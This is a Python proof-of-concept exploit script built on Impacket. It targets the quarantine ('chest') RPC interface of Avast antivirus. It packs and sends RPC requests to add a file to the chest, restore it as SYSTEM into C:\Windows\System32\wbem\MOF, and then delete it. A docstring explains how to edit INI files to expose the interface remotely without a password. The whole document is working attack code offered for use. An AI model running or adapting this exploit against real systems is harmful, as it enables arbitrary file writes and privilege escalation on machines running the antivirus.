import sys
import struct
import array
import time
import base64
try:
from impacket import uuid
from impacket.dcerpc import transport, dcerpc
except ImportError:
print('Please download and install the latest version of Impacket (http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket)')
sys.exit(0)
"""
On the free version, this RPC interface is ncalrpc by default.
It can be configured to be remote (ncacn_ip_tcp) in the Endpoint Protection version, or by tweaking the INI files.
To activate the remote RPC chest on the Free version:
- start notepad.exe as Administrator
- under [Common], set Edition to 6,7,8 or 9 in C:\Program Files\AVAST Software\Avast\setup\setup.ini (changes version to Endpoint Protection)
- under [Chest], set RemoteAccess to 1, CheckPassword to 0 in C:\ProgramData\AVAST Software\Avast\avast5.ini
(alternatively, set a password and use it in the code below)
- restart
"""
def ndr_wstring(s):
if len(s)==0 or s[-1]!='\0':
s+='\0'
r=struct.pack('<III',len(s),0,len(s))
r+=s.encode('utf-16le')
if len(r)&3!=0:
r+='\0'*(4-(len(r)&3))
return r
XOR_KEY=array.array('B',[<edited>])
def simple_cypher(data):
decrypted=array.array('B',data)
encrypted=array.array('B',[0]*len(decrypted))
j=0
for i in range(len(decrypted)):
if j>=len(XOR_KEY):
j=0 #not sure it's even faster than i%len(XOR_KEY)
encrypted[i]=decrypted[i]^XOR_KEY[j]
j+=1
return encrypted.tostring()
class AvastChestRpc:
def __init__(self,host,port=16108): #default port
trans=transport.DCERPCTransportFactory('ncacn_ip_tcp:%s'%(host))
trans.set_dport(port)
self.dce=trans.get_dce_rpc()
self.password=''
def connect(self):
self.dce.connect()
self.dce.bind(uuid.uuidtup_to_bin(('c6c94c23-538f-4ac5-b34a-00e76ae7c67a','1.0')))
def addfile(self,folder,filename,data):
"""adds a file to the chest"""
properties={'OrigFileName':filename,
'OrigFolder':folder,
'Comment':'',
'Category':'System',
'FileSize':'%d'%(len(data)),
'FileTime':'%d'%(int(time.time())),
'TransferTime':'%d'%(int(time.time()))}
chest_data='-chest- '+simple_cypher(data)
request=''
request+=struct.pack('<I',len(chest_data))
request+=chest_data
if len(chest_data)&3!=0:
request+='\0'*(4-(len(chest_data)&3))
request+=struct.pack('<I',len(chest_data))
request+=struct.pack('<I',len(properties))
for i in range(len(properties)):
request+=struct.pack('<I',0x10000+(i<<3))
request+=struct.pack('<I',0x10000+((i+1)<<3))
for p in properties:
request+=ndr_wstring(p)
request+=ndr_wstring(properties[p])
request+=struct.pack('<I',len(properties))
try:
self.dce.call(1,request)
response=self.dce.recv()
except dcerpc.Exception,e:
print(str(e))
return -1
if len(response)!=8:
return -1
id,status=struct.unpack('<II',response)
if status!=0:
return -1
return id
def restorefile(self,id):
"""restores a file as SYSTEM based on '%s\\%s'%(OrigFolder,OrigFileName)"""
request=''
request+=ndr_wstring(self.password) #'b?'+base64.b64encode(self.password)
request+=struct.pack('<I',id)
try:
self.dce.call(0xf,request)
response=self.dce.recv()
except dcerpc.Exception,e:
print(str(e))
return -1
if len(response)!=4:
return -1
status=struct.unpack('<I',response)[0]
return status
def delfile(self,ids):
"""deletes files from the chest"""
request=''
request+=struct.pack('<I',len(ids))
for id in ids:
request+=struct.pack('<I',id)
request+=struct.pack('<I',len(ids))
try:
self.dce.call(2,request)
response=self.dce.recv()
except dcerpc.Exception,e:
print(str(e))
return -1
if len(response)!=4:
return -1
status=struct.unpack('<I',response)[0]
return status
def disconnect(self):
self.dce.disconnect()
def main(args):
chest=AvastChestRpc('192.168.233.131')
#chest.password = 'password' #set a password if needed!
chest.connect()
id=chest.addfile('C:\\Windows\\System32\\wbem\\MOF','some.mof','A'*0x100)
if id!=-1:
print('File successfully added, with Id 0x%08x'%(id))
chest.restorefile(id)
chest.delfile([id])
else:
print('File could not be added')
chest.disconnect()
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))